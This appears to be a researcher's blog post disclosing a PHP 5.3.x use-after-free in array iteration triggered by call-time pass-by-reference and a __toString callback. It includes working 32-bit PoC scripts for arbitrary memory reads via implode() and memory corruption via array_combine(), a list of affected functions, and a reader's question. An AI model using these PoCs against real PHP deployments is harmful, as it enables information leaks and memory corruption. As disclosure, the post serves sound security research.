I also reported this bug via e-mail a few months ago. Bug no fixed :[.
Affected versions: 5.3.x
This bug does not affect version 5.4 (and never) because call-time-pass-by-reference feature is removed.
Some PHP functions contain this bug. It can lead information leakeage and memory corruption (found only one). But most of them (what I can do now) can do only program crash.
Normally in PHP functions, the array is iterated with zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), zend_hash_move_forward() or zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), zend_hash_move_forward_ex() functions. If an array is passed by reference and a PHP function does something that can be interrupted such as calling convert_to_xxx_ex() function, the array elements might be altered and the pointers in PHP function might point to invalid data.
The pseudocode structure that has this problem is shown below.
zend_hash_internal_pointer_reset(input) loop: zend_hash_get_current_data(input, entry) //... convert_to_xxx_ex(**entry) // <== interruption is here //... zend_hash_move_forward(input)
Because zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), and zend_hash_move_forward() use internal pointer (pInternalPointer) for interation, the interruption can make only entry pointer point to invalid data. I can only make the program crash with this array iteration code.
zend_hash_internal_pointer_reset_ex(input, pos) loop: zend_hash_get_current_data_ex(input, entry, pos) //... convert_to_xxx_ex(**entry) // <== interruption is here //... zend_hash_move_forward_ex(input, pos)
While zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), and zend_hash_move_forward_ex() use external pointer ('pos' in above pseudocode) for interation, the interruption can make pos and entry pointers point to invalid data (manipulated data). Some of PHP function I can leak data from memory address or do memory corruption.
Below is PoC for dump memory at any address with implode() (32 bit only).
<?php class dummy { public function __toString() { unset($GLOBALS['arr1'][0]); unset($GLOBALS['arr1'][1]); // dump memory at 0x08048000 $GLOBALS['test1'] .= "\x00\x80\x04\x08\x10\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"; return ''; } } $test1=''; $arr1 = array(new dummy, 1); $data = implode(",", &$arr1); var_dump($data);
Below is PoC for memory corruption with array_combine() (32 bit only).
<?php class dummy { public function __toString() { unset($GLOBALS['arr2'][0]); $GLOBALS['test1'] .= "\x00\x00\x00\xff\xff\xff\x7f\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"; return '0'; } } $test1="\x00"; $arr1 = array(new dummy); $arr2 = array('dddddd'); $out = array_combine($arr1, &$arr2); var_dump($out); // strlen of $out is 0x7fffffff
Here is the list of PHP functions that I found the problem.
==================================== === zend_hash_get_current_data() === ==================================== *** crash *** - curl_setopt with CURLOPT_POSTFIELDS option - setlocale - preg_grep
======================================= === zend_hash_get_current_data_ex() === ======================================= *** crash *** - imagesetstyle - pcntl_sigwaitinfo - curl_setopt_array *** dump arbritary memory address *** - file_put_contents - fputcsv - implode *** memory corruption *** - array_combine
why in the __toString methods you use
ReplyDelete$GLOBALS['test1'] and not $GLOBALS['arr1'] aor
$GLOBALS['arr2'] , is that ok or is it a mistake?
also when you do
unset($GLOBALS['arr2'][0]);
is the associated Bucket + zval freed or just the zval is freed?